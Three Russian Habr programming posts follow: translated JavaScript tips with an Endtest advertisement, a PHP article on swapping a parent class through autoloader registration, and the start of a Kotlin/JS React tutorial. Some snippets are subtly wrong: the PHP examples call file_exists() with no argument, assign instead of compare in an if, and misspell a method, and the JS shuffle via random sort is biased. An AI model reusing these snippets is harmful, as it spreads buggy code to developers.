Прим. переводчика: в этом новом (от 10 декабря) посте классные приёмы для JavaScript, которые мне как начинающему понравились, но также есть очевидная реклама приложения для тестов. Но я обязан переводить материал целиком, поэтому рекламную часть скрываю в спойлер, хотя она не бесполезная, кстати.
**Нативочка из переводимой статьи**
Я люблю оптимизировать.
Но пользователям наплевать на мой оптимизированный код, если их сайт не работает в браузере Internet Explorer 11.
Я использую [Endtest](https://endtest.io/) для создания автоматизированных тестов и выполнения их в кросс-браузерном облаке.
К слову, [Netflix](https://jobs.lever.co/netflix/db335e29-c731-42ff-ad3a-eeecbe95b36f) использует ту же платформу для тестирования своих веб-приложений. Более того, он даже указан как необходимый навык в некоторых [вакансиях](https://www.linkedin.com/jobs/view/1486749071/).
[Endtest](https://endtest.io/) действительно имеет некоторые прикольные функции, такие как:
* Кросс-браузерная сетка, работающая на компьютерах с Windows и MacOS
* Редактор без кода для автоматизированных тестов
* Поддержка веб-приложений
* Поддержка как нативных, так и гибридных приложений для Android и iOS
* Неограниченное количество видеозаписей для ваших тестовых прогонов
* Сравнение скриншотов
* Геолокация
* Оператор if
* Циклы
* Загрузка файлов в ваши тесты
* API Endtest, для легкой интеграции с вашей системой CI/CD
* Расширенные [утверждения](https://ru.wikipedia.org/wiki/Утверждение_(программирование))
* Мобильные тесты на реальных мобильных устройствах
* Тестирование электронной почты с помощью Endtest Mailbox
Вы можете просмотреть [документы](https://endtest.io/guides/docs/how-to-create-web-tests/) по этому инструменту.
А теперь 9 очень полезных советов по JavaScript.
1. #### Заменить все
Мы знаем, что функция string.replace() заменяет только первое вхождение. Вы можете заменить все вхождения, добавив /g в конце регулярного выражения.
```
var example = "potato potato";
console.log(example.replace(/pot/, "tom"));
// "tomato potato"
console.log(example.replace(/pot/g, "tom"));
// "tomato tomato"
```
2. #### Извлечение уникальных значений
Мы можем создать новый массив только с уникальными значениями, используя объект Set и оператор Spread.
```
var entries = [1, 2, 2, 3, 4, 5, 6, 6, 7, 7, 8, 4, 2, 1]
var unique_entries = [...new Set(entries)];
console.log(unique_entries);
// [1, 2, 3, 4, 5, 6, 7, 8]
```
3. #### Преобразование числа в строку
Мы просто должны использовать оператор конкатенации с пустым набором кавычек.
```
var converted_number = 5 + "";
console.log(converted_number);
// 5
console.log(typeof converted_number);
// string
```
4. #### Преобразовать строку в число
Все, что нам нужно, это +оператор.
Будьте осторожны с этим, так как он работает только с «строковыми числами».
```
the_string = "123";
console.log(+the_string);
// 123
the_string = "hello";
console.log(+the_string);
// NaN
```
5. #### Перемешать элементы из массива
Every day I'm shufflin' :-)
```
var my_list = [1, 2, 3, 4, 5, 6, 7, 8, 9];
console.log(my_list.sort(function() {
return Math.random() - 0.5
}));
// [4, 8, 2, 9, 1, 3, 6, 5, 7]
```
6. #### Сгладить многомерный массив
Просто с помощью оператора Spread.
```
var entries = [1, [2, 5], [6, 7], 9];
var flat_entries = [].concat(...entries);
// [1, 2, 5, 6, 7, 9]
```
7. #### Условия сокращённого вычисления
Давайте возьмем этот пример:
```
if (available) {
addToCart();
}
```
И можно сократить его, просто используя переменную вместе с функцией:
```
available && addToCart()
```
8. #### Динамические имена свойств
Я всегда думал, что сначала мне нужно объявить объект, прежде чем я смогу назначить динамическое свойство.
```
const dynamic = 'flavour';
var item = {
name: 'Coke',
[dynamic]: 'Cherry'
}
console.log(item);
// { name: "Coke", flavour: "Cherry" }
```
9. #### Используйте length, чтобы изменить размер/очистить массив
Мы в основном перезаписываем длину массива.
Если мы хотим изменить размер массива:
```
var entries = [1, 2, 3, 4, 5, 6, 7];
console.log(entries.length);
// 7
entries.length = 4;
console.log(entries.length);
// 4
console.log(entries);
// [1, 2, 3, 4]
```
Если мы хотим очистить массив:
```
var entries = [1, 2, 3, 4, 5, 6, 7];
console.log(entries.length);
// 7
entries.length = 0;
console.log(entries.length);
// 0
console.log(entries);
// []
```
Полезные советы по JavaScript — это классно, но стоит убедиться в том, что ваше веб-приложение работает правильно на всех браузерах и на всех устройствах. Обязательно позаботьтесь об этом. | https://habr.com/ru/post/480398/ | null | ru | null |
# Переопределение предка (dirty hack)
**UPD:** Лучше конечно такого избегать. Все это страшно, ужасно, и воняет. Но воняет чуть меньше чем VQMOD, и если уж приходится патчить «живой» и обновляемый, но жуткий легаси, то такой подход имеет право на существование. Но НИКОГДА не делайте так в проектах которые вы только начинаете или можете изменить архитектуру на более расширяемую. Статью оставляю как есть. «На память».
---
Иногда очень хочется переопределить поведение класса родителя, не меняя его код.
К примеру поменять место хранения шаблонов из файлов в базу… или добавить кэширование.
или заменить в ORM удаление записей на пометку их как удаленные.
Да мало ли что мы можем пожелать изменить.
Если каждый программист будет лезть в ядро фреймворка или просто в чужой код, то это будет каша.
У этой задачи есть множество решений. Я хочу предложить то, которое мне нравится больше всего.
Решение основано на **\_\_autoload()** а точнее на spl\_autoload\_register.
Большинство реализаций этой задачи подразумевают значительное количество специального кода, который присутствует в наших классах «на всякий случай» (как это делается к примеру в расширении с помощью hook. При этом часто бывает, что разработчик предусмотрел возможности переопределения везде где только можно… кроме того места которое нам нужно.
Другие решения требуют существенной переработки логики работы системы, что часто затрудняет понимание, и повышает порог вхождения. (к примеру различные вариации на событийную модель).
Хочется чтобы все было просто, и при этом максимально гибко.
И такое решение нашлось:
#### Вообще идея простая как тапки:
Если мы не можем переопределять поведение уже объявленных классов, то мы можем управлять процессом объявления этих самых классов. За загрузку классов у нас отвечает функция **\_\_autoload()**.
Таким образом если класс поведение которого мы хотим изменить вызывается через **\_\_autoload()**, то изменив поведение \_\_autoload() мы можем загрузить нужный класс из другого файла.
Собственно в одном проекте мною был реализован механизм переопределения поведения \_\_autoload() по принципу hook:
прикладной модуль мог объявить свою функцию загруprb классов и определенным образом зарегистрировать ее на выполнение как ДО основной функции так и после.
Но мы не будем останавливаться на этой реализации, потому что.
#### Это всё уже в прошлом!
Наконец настали те времена, когда php 5.3 стал доступен уже на большинстве хостингов, и отпала необходимость обеспечивать совместимость с более старыми ветками.
А ведь в 5.3 модуль **SPL** является частью ядра, и доступен по умолчанию.
Оказывается, что разработчики уже реализовали эту идею в виде функции spl\_autoload\_register.
Функция **spl\_autoload\_register** просто регистрирует нашу функцию автозагрузки в стек подобных функций.
Т.о. если мы пропишем функцию которая загружает измененный класс **ДО** загрузки основной функции, то будет загружен наш код а не стандартный. С другой стороны если мы хотим добавить какие-то варианты автогенерации кода, то мы можем добавить их **ПОСЛЕ** основного кода.
#### Хватит теории
Очевидно что все переопределяемые классы должны загружаться через автозагрузку а не напрямую.
Поскольку это довольно грязный метод, и подобное решение может сильно усложнить чтение кода и отладку, то **категорически не рекомендуется** размещать подобные вызовы в прикладном коде. Все подобные хуки должны **быть в одном месте**, на самом виду. Если вы архитектор системы, то вы должны позаботится о том, чтобы все программисты знали о том где нужно добавлять подобные функции и где их нужно искать. А также чтобы они были как минимум в курсе что в системе предусмотрена такая возможность.
При проектировании полезно подумать о том, какие наши классы могут быть переопределены.
Иногда эта мысль может подтолкнуть нас к переносу некоторых методов или свойств в другой класс.
Лично я для часто подменяемых классов создаю два класса — класс с реализацией, и класс-пустышку, который только наследует класс с реализацией. В приложении используется пустышка. Пустышку можно легко переопределить, и спокойно наследовать стандартный функционал там, где мы ничего не меняем.
#### Пример
файл common.php содержащий весь общий код:
```
function start_module() {
// здесь идет код вызова наших модулей.... расположен в common.php чтобы не захламлять index.php
}
function mainAutoload($class) {
// основной код автозагрузки
$filename = './class/'.$class.'.php';
if(file_exists()) require_once($filename);
}
```
По умолчанию файл index.php содержит:
```
require_once 'common.php';
//
// Зарегистрируем наш основной автозагрузчик
spl_autoload_register('mainAutoload');
//
// Вызовем нашу функцию вызова модулей
start_module();
```
Допустим мы решили, что в нашем проекте будет много желающих переопределить класс **soul**
Тогда мы создаем класс soul.php:
```
class soul extends soul_basic {
// здесь ничего нет.
}
```
И соответственно soul\_basic.php
```
class soul_basic {
public function good() {
// здесь у нас реализация кода добра
}
public function evil() {
// реализация кода зла
}
public function saintliness() {
// реализация кода святости
}
public function business() {
// реализация кода бизнеса
}
}
```
Ну и уже конкретные объекты которым будет нужна «душа» могут реализовывать или наследовать от **soul** не от **soul\_basic**, и иметь функционал реализованный в soul\_basic.
Теперь представим, что мы хотим изменить поведение всех «душ».
Очевидно, что переопределяя свойства «души» программиста или директора или любого другого класса который наследует от soul нам в этом не поможет. Поэтому мы создаем свой класс soul. Для этого мы изменяем файл index.php, например так:
```
require_once 'common.php';
//
// Объявим наш измененный загрузчик.
function century21Autoload($class) {
if($class = 'soul') require_once('soul21.php');
}
//
// Зарегистрируем ИЗМЕНЕННЫЙ автозагрузчик
spl_autoload_register('century21Autoload');
// Зарегистрируем наш основной автозагрузчик
spl_autoload_register('mainAutoload');
//
// Вызовем нашу функцию вызова модулей
start_module();
```
Ну и соответственно soul21.php:
```
class soul extends soul_basic {
public function good() {
if(rand(0,100)>=80) parent::good();
else parent::evil();
}
public function saintliness() {
if($this->unit_name == 'Gundyaev') parent::bussiness();
else parent::saintliness();
}
}
```
**PS:** Я человек верующий и над церковью не смеюсь. Просто я отделяю церковь как веру и церковь как бизнес. А с бизнеса смеяться не считаю грехом. Хотя мои друзья и приятели священники из разных конфессий со мной не согласны… | https://habr.com/ru/post/152499/ | null | ru | null |
# Практика по Котлину: Создание веб приложений на React и Kotlin/JS
*От переводчика*.
Привет! Про **Kotlin** есть стереотип, будто бы это язык для разработки только под Android. На самом деле, это совсем не так: язык официально поддерживает несколько платформ (**JVM**, **JS**, **Native**), а также умеет работать с библиотеками для этих платформ, написанных на других языках. Такая поддержка "мультиплатформенности" позволяет не только писать всевозможные проекты на одном языке в единой форме, но и переиспользовать код при написании одного проекта под разные платформы.
В этой статье я перевожу [официальный туториал Kotlin Hands-On](https://play.kotlinlang.org/hands-on/Building%20Web%20Applications%20with%20React%20and%20Kotlin%20JS) о создании веб сайтов на Котлине. Мы рассмотрим многие аспекты программирования на Kotlin/JS и поймем, как работать не только с чистым DOM. В основном будем говорить о [React JS](https://reactjs.org/), но также коснемся системы сборки **Gradle**, использования зависимостей из **NPM**, обращения к **REST API**, деплоя на **Heroku**, и в итоге сделаем *приложение-видеоплеер*.
Текст ориентирован на тех, кто немного знает Котлин и не знает или почти не знает Реакт. Если вы более опытны по этим вопросам, то части туториала могут показаться вам чрезмерно разжеванными.
Надеюсь, статья удовлетворит [пусть даже непопулярные запросы](https://habr.com/ru/company/productsense/blog/526238/#comment_22257922) на материалы о Котлине на русском.
Предлагать правки в эту статью лучше всего [на ГитХабе](https://github.com/SerVB/kotlin-hands-on-ru/edit/master/hands-on/Building%20Web%20Applications%20with%20React%20and%20Kotlin%20JS.md). Текущий перевод построен на версии оригинального туториала, актуальной на 09.04.2021.
Содержание
----------
1. [Введение](#a-namestep1shag-1-vvedeniea)
2. [Настройка](#a-namestep2shag-2-nastroykaa)
3. [Первая страница на Реакте – статичная](#a-namestep3shag-3-pervaya-stranica-na-reakte--statichnayaa)
4. [React – о реакциях. Наш первый компонент](#a-namestep4shag-4-react--o-reakciyah-nash-pervyy-komponenta)
5. [Работаем совместно. Композиция компонентов](#a-namestep5shag-5-rabotaem-sovmestno-kompoziciya-komponentova)
6. [Больше компонентов!](#a-namestep6shag-6-bolshe-komponentova)
7. [Использование NPM пакетов](#a-namestep7shag-7-ispolzovanie-npm-paketova)
8. [Используем внешнее REST API](#a-namestep8shag-8-ispolzuem-vneshnee-rest-apia)
9. [Деплоим в продакшен и в облако](#a-namestep9shag-9-deploim-v-prodakshen-i-v-oblakoa)
10. [В дополнение: современный Реакт с хуками](#a-namestep10shag-10-v-dopolnenie-sovremennyy-reakt-s-hukamia)
11. [Что дальше?](#a-namestep11shag-11-chto-dalshea)
Шаг 1. Введение
---------------
На этой практике мы рассмотрим, как использовать Kotlin/JS вместе с популярным фреймворком [React](https://reactjs.org/) для создания красивых и поддерживаемых браузерных приложений. React позволяет создавать веб приложения современно и структурировано, фокусируясь на переиспользовании компонентов и на особом способе управления состоянием приложения. Он имеет большую экосистему материалов и компонентов, созданную сообществом.
Использование Котлина для написания приложений на React позволяет опираться на наши знания о парадигмах, синтаксисе и инструментах этого языка при создании фронт-энд приложений для современных браузеров. А еще использовать котлиновские библиотеки одновременно с возможностями платформы и экосистемы JavaScript.
На этой практике мы научимся создавать приложение на Kotlin/JS и React, используя Gradle плагин `org.jetbrains.kotlin.js`. Мы решим задачи, обычно возникающие при создании типичного простого React приложения.
Мы узнаем, как *предметно-ориентированные языки* (*DSL*) помогают выражать идеи кратким и единообразным способом без жертв читаемости, давая возможность написать полноценное приложение полностью на Котлине. Также мы покажем, как использовать уже сделанные сообществом компоненты и библиотеки, и как опубликовать получившееся приложение.
Предполагается, что у вас уже есть базовое понимание Котлина, и *совсем поверхностное* знание HTML и CSS. Базовое знание идей Реакта будет полезным для понимания примеров кода, но не обязательно.
### Что именно мы создадим
Ежегодное событие [KotlinConf](https://kotlinconf.com/) стоит посетить, если вы хотите узнать больше о Котлине и пообщаться с сообществом. KotlinConf 2018 предлагал огромное количество информации в виде мастер-классов и лекций и насчитывал 1300 участников. Доклады публично доступны на YouTube, и поклонникам Котлина было бы полезно **увидеть** перечень докладов на одной странице и **помечать** их как *просмотренные* – идеально для погружения в Котлин "запоем". На этой практике мы как раз создадим такое приложение – *KotlinConf Explorer* (см. скриншот ниже).
Исходный код финального приложения, как и промежуточные результаты, можно найти [в репозитории](https://github.com/kotlin-hands-on/web-app-react-kotlin-js-gradle) на GitHub. Результат каждого шага доступен в соответствующей ветке, ссылки на которые мы дополнительно дублируем в конце каждого параграфа.
Начнем с настройки среды разработки и установки инструментов, которые помогут нам в работе.
Шаг 2. Настройка
----------------
### Пререквизиты
Чтобы начать, давайте убедимся, что у вас установлена актуальная среда разработки. Вот все, что нам нужно сейчас – это IntelliJ IDEA (версии `2020.3` или новее, достаточно бесплатной Community Edition) с плагином Котлин (`1.4.30` или новее) – скачать можно [по ссылке](https://www.jetbrains.com/idea/download/). Выберите установочный файл, соответствующий вашей ОС (поддерживаются Windows, MacOS и Linux).
### Создаем проект
Для этой практики мы подготовили стартовый шаблон проекта, включающий все настройки и зависимости.
Склонируйте [этот GitHub репозиторий](https://github.com/kotlin-hands-on/web-app-react-kotlin-js-gradle) и откройте его с помощью IntelliJ IDEA (например, с помощью **File | New | Project from Version Control...** или **Git | Clone...**).
Этот шаблон содержит простейший Kotlin/JS Gradle проект, на основе которого можно делать что-то свое. Так как в Gradle конфигурации шаблона уже прописаны все необходимые для практики зависимости, **вам не придется изменять ее**.
В любом случае полезно понимать, какие артефакты используются для приложения, так что давайте посмотрим повнимательнее на шаблонные зависимости и конфигурации.
**Примечание от переводчика**: конечно, для будущих проектов можно начинать как с шаблона, так и с пустого Gradle проекта, добавляя только нужные зависимости – для этого как раз и предстоит с ними разобраться.
#### Зависимости и задачи Gradle
На практике мы будем использовать React, некоторые другие внешние зависимости, а еще котлиновские библиотеки. Чтобы не тратить время на импортирование изменений Gradle скриптов на каждом шаге, мы добавляем все зависимости в самом начале.
Для начала давайте убедимся, что внутри файла `build.gradle.kts` есть блок `repositories`. Таким образом объявляются источники зависимостей.
Блок зависимостей `dependencies` содержит все нужные для практики внешние библиотеки:
```
dependencies {
// React, React DOM + Wrappers (шаг 3)
implementation("org.jetbrains:kotlin-react:17.0.1-pre.148-kotlin-1.4.21")
implementation("org.jetbrains:kotlin-react-dom:17.0.1-pre.148-kotlin-1.4.21")
implementation(npm("react", "17.0.1"))
implementation(npm("react-dom", "17.0.1"))
// Kotlin Styled (шаг 3)
implementation("org.jetbrains:kotlin-styled:5.2.1-pre.148-kotlin-1.4.21")
implementation(npm("styled-components", "~5.2.1"))
// Video Player (шаг 7)
implementation(npm("react-youtube-lite", "1.0.1"))
// Share Buttons (шаг 7)
implementation(npm("react-share", "~4.2.1"))
// Coroutines (шаг 8)
implementation("org.jetbrains.kotlinx:kotlinx-coroutines-core:1.4.3")
}
```
Если отредактировать файл, IDEA автоматически предложит импортировать изменения Gradle скриптов. Импорт также можно инициировать в любой момент, нажав на кнопку **Reimport All Gradle Projects** в тул-окне Gradle (сбоку справа).
#### HTML страница
Так как мы не можем вызывать JavaScript сам по себе, мы должны написать связанную с нашим JS файлом HTML страницу, и именно ее открывать в браузере. В проекте уже есть файл `src/main/resources/index.html` со следующим содержимым:
```
Hello, Kotlin/JS!
```
Благодаря Kotlin/JS Gradle плагину, весь наш код и зависимости будут объединены ("забандлены") в единый JavaScript артефакт, носящий с проектом одно имя. Соответственно мы добавили в HTML файл вызов скрипта `confexplorer.js` (заметьте, что если бы проект был назван, например, как `followingAlong`, имя скрипта было бы `followingAlong.js`).
Выполняя обыденную [конвенцию JavaScript](https://faqs.skillcrush.com/article/176-where-should-js-script-tags-be-linked-in-html-documents), мы сначала позволяем загрузить контент нашей страницы (включая элемент `#root`) и только в конце загружаем скрипт. Таким образом, страница будет загружена к моменту выполнения нашего скрипта, и мы сможем сразу же к ней обращаться.
**Примечание от переводчика**: если у вас уже есть опыт с HTML, возможно, вы привыкли использовать свойство `onLoad` у элемента `body` для решения этой же проблемы. Однако при использовании Kotlin/JS намного проще именно просто объявлять скрипт в конце `body`.
Перед написанием "Hello, World" с настоящей разметкой, начнем с простейшего визуального примера – страницы, залитой сплошным цветом. Этот пример поможет понять, то что наш код действительно доходит до браузера и выполняется без ошибок. Для кода у нас есть файл `src/main/kotlin/Main.kt` с таким содержимым:
```
import kotlinx.browser.document
fun main() {
document.bgColor = "red"
}
```
Теперь нам нужно скомпилировать и запустить наш код.
### Запуск сервера для разработки
Kotlin/JS Gradle плагин из коробки поддерживает **webpack-dev-server**, что позволяет нам хостить приложение прямо с помощью IDE и не настраивать веб сервер отдельно.
Мы можем запустить сервер, вызвав задачу `run` или `browserDevelopmentRun` из тул-окна Gradle. Она может быть либо в группе `other` (как на скриншоте), либо в `kotlin browser`:
Если хочется запускать не из IDE, а из терминала, то можно выполнить `./gradlew run` (*в Windows* Gradle команды выглядят немного по-другому: `.\gradlew.bat run`).
Наш проект скомпилируется и забандлится, и через несколько секунд должно открыться окно браузера с пустой красной страницей, означающей, что наш код заработал успешно:
#### Включение горячей перезагрузки (hot reload) a.k.a. непрерывного режима
Вместо того чтобы вручную вызывать компиляцию проекта и обновление страницы в браузере для тестирования изменений в коде, мы можем использовать *режим непрерывной компиляции* – Kotlin/JS поддерживает ее. Для этого нам потребуется немного модифицировать вызов `run` задачи Gradle.
Необходимо также убедиться, что запущенный ранее веб сервер остановлен (нажмите в IDE на красный квадрат – **Stop**; если работаете в терминале – нажмите `Ctrl+C`).
Если вы запускаете задачу с помощью IDEA, нужно добавить флаг в конфигурацию запуска. Эту конфигурацию IDEA создала, когда мы впервые запустили Gradle задачу, а теперь нам нужно ее отредактировать:
В открывшемся окне **Run/Debug Configurations** надо добавить флаг `--continuous` в аргументы конфигурации запуска:
После применения изменений мы можем использовать зеленую кнопку **Run** (`|>`) для запуска сервера.
Если вы запускаете сервер из терминала, это можно сделать примерно так: `./gradlew run --continuous`.
Для тестирования только что активированной функции предлагаем изменить цвет страницы, когда Gradle задача выполняется. Например, можно изменить на синий:
```
document.bgColor = "blue"
```
Если сохранить файл, через пару секунд проект должен автоматически перекомпилироваться, а страница браузера – перезагрузиться и окраситься в новый цвет.
Во время разработки можно оставлять сервер запущенным. Он будет следить за изменениями в коде и автоматически компилировать код и перезагружать страницу. Если хотите, можете поиграться с кодом на этой начальной стадии.
#### Примечание от переводчика насчет непрерывной компиляции
Я пробовал этот режим, и, если честно, он мне показался неудобным. Во-первых, перезагрузка страницы иногда бывает нежелательна, особенно если там были какие-то несохраненные данные. Во-вторых, я не всегда понимаю, успели ли уже перекомпилироваться код и перезагрузиться страница. В-третьих, этот режим почему-то не всегда видит изменения, и доходит до того, что приходится перезапускать Gradle задачу, то есть сама суть режима нарушается – все еще приходится делать что-то руками.
В итоге я уже года два, с момента начала моего использования Kotlin/JS, вручную запускаю компиляцию кода и перезагрузку страницы. Более того, я вообще не использую веб сервер при разработке: я просто открываю в браузере локальный HTML файл. Для компиляции я использую задачу `browserDevelopmentWebpack`, после этого построенные файлы становятся доступны в папке `build/distributions` или в `build/developmentExecutable`. Оттуда я переношу в браузер файл `index.html`, и все работает довольно безотказно и предельно логично.
### На старт, внимание...
Мы настроили пустой Kotlin/JS проект, который может развиться во все что угодно. Время начинать верстать!
> Состояние проекта после выполнения этого шага доступно в ветке `master` [в репозитории](https://github.com/kotlin-hands-on/web-app-react-kotlin-js-gradle/tree/master).
Шаг 3. Первая страница на Реакте – статичная
--------------------------------------------
В мире программирования принято начинать обучение с *Hello, World*. Так давайте изменим нашу одноцветную страницу в соответствии с традициями.
Поменяйте код в файле `src/main/kotlin/Main.kt` на примерно следующий:
```
import react.dom.*
import kotlinx.browser.document
fun main() {
render(document.getElementById("root")) {
h1 {
+"Hello, React+Kotlin/JS!"
}
}
}
```
После сборки изменившегося проекта в браузере можно увидеть магию:
Ура, вы только что написали свой первый веб сайт на чистом Котлине с Реактом! Давайте попробуем понять, как работает этот код. Функция `render` говорит библиотеке [kotlin-react-dom](https://github.com/JetBrains/kotlin-wrappers/tree/master/kotlin-react-dom) отрендерить наш *компонент* (поговорим о компонентах чуть позже) внутрь элемента на странице. Если помните, в `src/main/resources/index.html` есть элемент с ID `root`, как раз туда мы и рендерим. Содержимое рендеринга сейчас довольно простое – единственный заголовок первого уровня. Для объявления содержимого, то есть HTML элементов, используется типобезопасный DSL.
### Типобезопасный HTML
Библиотека [kotlin-react](https://github.com/JetBrains/kotlin-wrappers/blob/master/kotlin-react/README.md) использует котлиновскую возможность написания DSL, таким образом заменяя синтаксис разметки HTML на нечто более легкочитаемое. Возможно, такой DSL вам покажется и легче в написании.
Код на Котлине дает нам все преимущества статически типизированного языка, от *проверки типов* до *автодополнения*. Скорее всего, из-за этого вы проведете *меньше времени в отладке*, охотясь за опечатками в именах атрибутов, и у вас появится *больше времени на создание* отточенного приложения!
**О знаке `+`**:
Единственная довольно неочевидная на первый взгляд вещь в котлиновском листинге выше – знак `+` перед строковым литералом. Поясним. `h1` – это функция, принимающая лямбду как параметр. Когда мы пишем `+`, мы на самом деле вызываем [перегруженный оператор](https://kotlinlang.org/docs/reference/operator-overloading.html) `unaryPlus`, которая добавляет строку в окружающий HTML элемент.
Проще говоря, операцию `+` можно понимать как инструкцию "добавь мою строчку текста внутрь этого элемента".
#### Переписываем классический HTML
Когда у нас есть мысли о том, как будет выглядеть наш сайт, мы можем сразу перевести наш (мысленный) набросок в котлиновское объявление HTML. Если вы уже привыкли писать обычный HTML, у вас не должно возникнуть проблем и с котлиновским. Сейчас мы хотим создать разметку, которую можно записать примерно так на чистом HTML:
```
KotlinConf Explorer
===================
### Videos to watch
John Doe: Building and breaking things
Jane Smith: The development process
Matt Miller: The Web 7.0
### Videos watched
Tom Jerry: Mouseless development
### John Doe: Building and breaking things
```
Давайте переведем этот код в Kotlin DSL. Конверсия довольно прямолинейна. Если хотите поупражняться, можете попробовать переписать самостоятельно, **не подглядывая** в листинг ниже:
```
h1 {
+"KotlinConf Explorer"
}
div {
h3 {
+"Videos to watch"
}
p {
+"John Doe: Building and breaking things"
}
p {
+"Jane Smith: The development process"
}
p {
+"Matt Miller: The Web 7.0"
}
h3 {
+"Videos watched"
}
p {
+"Tom Jerry: Mouseless development"
}
}
div {
h3 {
+"John Doe: Building and breaking things"
}
img {
attrs {
src = "https://via.placeholder.com/640x360.png?text=Video+Player+Placeholder"
}
}
}
```
Перепишите или скопируйте этот листинг внутрь вызова `render`. Если IntelliJ IDEA ругается на отсутствующие импорты, просто вызовите соответствующие быстрые исправления (quick-fixes) с помощью `Alt+Enter`. Когда обновленный файл будет скомпилирован и страница в браузере перезагружена, вас будет приветствовать следующий экран:
### Использование котлиновских языковых конструкций в разметке
Написание HTML на DSL на самом деле имеет намного больше преимуществ по сравнению с чистым HTML. Основное отличие – это то что мы можем жонглировать контентом страницы, используя **уже знакомые нам конструкции языка**. Условные переходы, циклы, коллекции, подстановка внутри строк – все это будет работать в HTML DSL так же, как и обычно в Котлине.
Давайте теперь вместо захардкоживания списка видео объявим переменную-список и будем ее использовать в разметке. Создадим класс `KotlinVideo`, чтобы хранить свойства видео (класс можно создать либо в `Main.kt`, либо в другом файле – как хотите), а также `external` интерфейс – о нем поговорим позже, когда будем получать данные из внешнего API:
```
external interface Video {
val id: Int
val title: String
val speaker: String
val videoUrl: String
}
data class KotlinVideo(
override val id: Int,
override val title: String,
override val speaker: String,
override val videoUrl: String
) : Video
```
Потом объявим два списка: для непросмотренных и просмотренных видео. Пока что можно сделать это в файле `Main.kt` на верхнем уровне:
```
val unwatchedVideos = listOf(
KotlinVideo(1, "Building and breaking things", "John Doe", "https://youtu.be/PsaFVLr8t4E"),
KotlinVideo(2, "The development process", "Jane Smith", "https://youtu.be/PsaFVLr8t4E"),
KotlinVideo(3, "The Web 7.0", "Matt Miller", "https://youtu.be/PsaFVLr8t4E")
)
val watchedVideos = listOf(
KotlinVideo(4, "Mouseless development", "Tom Jerry", "https://youtu.be/PsaFVLr8t4E")
)
```
Чтобы использовать эти значения в HTML, нам не нужно знать ничего, кроме базового синтаксиса Котлина! Мы можем написать код для прохода по коллекции и добавлять HTML элемент для каждого элемента коллекции. То есть вместо трех тегов `p` для непросмотренных видео, мы можем написать примерно такое:
```
for (video in unwatchedVideos) {
p {
+"${video.speaker}: ${video.title}"
}
}
```
Аналогично можно изменить разметку чуть ниже для использования списка `watchedVideos`. После перекомпиляции проекта и обновления страницы мы убедимся, что страница эквивалентна предыдущему варианту. Если хотите удостовериться, что циклы на самом деле работают, попробуйте поэкспериментировать и, например, добавить новые элементы в списки.
### Типобезопасный CSS
Можно сказать, мы уже продвинулись в проекте, но не время делать паузу: к сожалению, наше приложение до сих пор выглядит *несколько безвкусно* и *не сильно привлекательно*. Для исправления ситуации мы могли бы подключить какой-нибудь `.css` файл в наш файл `index.html`, но давайте лучше воспользуемся случаем, чтобы поиграться с Kotlin DSL опять – на этот раз с CSS.
Библиотека [kotlin-styled](https://github.com/JetBrains/kotlin-wrappers/tree/master/kotlin-styled) предоставляет чудесные типобезопасные обертки для [styled-components](https://www.styled-components.com/) и позволяет нам быстро и безопасно объявлять стили как [глобально](https://github.com/JetBrains/kotlin-wrappers/blob/master/kotlin-styled/README.md#global-styles), так индивидуально для конкретных компонентов. Эти обертки очень похожи на концепт [CSS-in-JS](https://reactjs.org/docs/faq-styling.html#what-is-css-in-js). Описывая стили *на Котлине*, мы опять же получаем возможность использовать краткие, понятные и единообразные языковые конструкции.
Нам не нужно делать дополнительных шагов для использования этого CSS DSL, так как мы уже добавили все зависимости в конфигурацию Gradle. Вот соответствующий блок:
```
dependencies {
//...
// Kotlin Styled (шаг 3)
implementation("org.jetbrains:kotlin-styled:5.2.1-pre.148-kotlin-1.4.21")
implementation(npm("styled-components", "~5.2.1"))
//...
}
```
Теперь вместо блоков вроде `div` или `h3` мы можем использовать их аналоги с префиксом `styled`, например, `styledDiv` или `styledH3`. Внутри их тел стили можно настраивать с помощью блока `css`. Например, для сдвига видеоплеера в правый верхний угол страницы, мы можем изменить наш код примерно так:
```
styledDiv {
css {
position = Position.absolute
top = 10.px
right = 10.px
}
h3 {
+"John Doe: Building and breaking things"
}
img {
attrs {
src = "https://via.placeholder.com/640x360.png?text=Video+Player+Placeholder"
}
}
}
```
Скорее всего, IDEA начнет жаловаться на непонятные ссылки. Мы можем избавиться от этих ошибок, добавив импорты сверху в файле:
```
import kotlinx.css.*
import styled.*
```
Или можно воспользоваться быстрыми исправлениями с помощью `Alt+Enter` для добавления импортов автоматически.
Мы привели довольно минималистичный пример. Не стесняйтесь поэкспериментировать – изменять стиль приложения, как душе угодно. Можете даже поиграться с CSS Grids, чтобы сделать интерфейс отзывчивым (но эта тема уже слишком сложна для этого туториала). Попробуйте сделать шрифт (свойство `fontFamily`) заголовка без засечек (значение `sans-serif`), или, например, сделать гармоничные цвета (свойство `color`).
> Состояние проекта после выполнения этого шага доступно в ветке `step-02-first-static-page` [в репозитории](https://github.com/kotlin-hands-on/web-app-react-kotlin-js-gradle/tree/step-02-first-static-page).
Шаг 4. React – о реакциях. Наш первый компонент
-----------------------------------------------
### Основная идея
Базовые строительные блоки в Реакте называются **компонентами**. Комбинируя компоненты, часть из которых в свою может быть комбинацией других более маленьких, мы создаем приложение. Делая компоненты переиспользуемыми и обобщенными, мы можем помещать их в несколько мест в приложении, *не дублируя* код и/или логику.
На самом деле, *корневой элемент* нашего рендеринга тоже можно представить как компонент. Если мы отметим его рамкой, то это будет выглядеть примерно так:
А если посмотреть на структуру приложения, то можно найти следующие компоненты, каждый из которых имеет свою ответственность:
### Корневой компонент
Давайте разобьем приложение на компоненты в соответствии с его структурой. Начнем с явного объявления главного компонента `App`, который будет являться корневым. Для этого создадим файл `App.kt` по пути `src/main/kotlin` в проекте. Внутри файла опишем класс `App`, наследующий `RComponent` (сокращение от **R**eact **Component**). Дженерики пока что можно оставить стандартными (`RProps` и `RState`), а потом разберемся и с ними:
```
import react.*
@JsExport
class App : RComponent() {
override fun RBuilder.render() {
// Помещаем сюда типобезопасный HTML!
}
}
```
Переместите весь наш типобезопасный HTML внутрь новой функции `render`. Таким образом мы поместили весь код приложения в соответствующе названный явный компонент. Теперь функция `main` должна как-то ссылаться на `App`. Это делается очень просто: достаточно сказать Реакту рендерить компонент `App` как ребенка корневого элемента, используя функцию `child`:
```
fun main() {
render(document.getElementById("root")) {
child(App::class) {}
}
}
```
В ходе практики мы будем создавать и использовать компоненты, так что скорее всего вы станете понимать их лучше. Но если есть желание нырнуть в Реакт поглубже, рекомендуем изучить [официальную документацию и гайды](https://reactjs.org/docs/hello-world.html#how-to-read-this-guide).
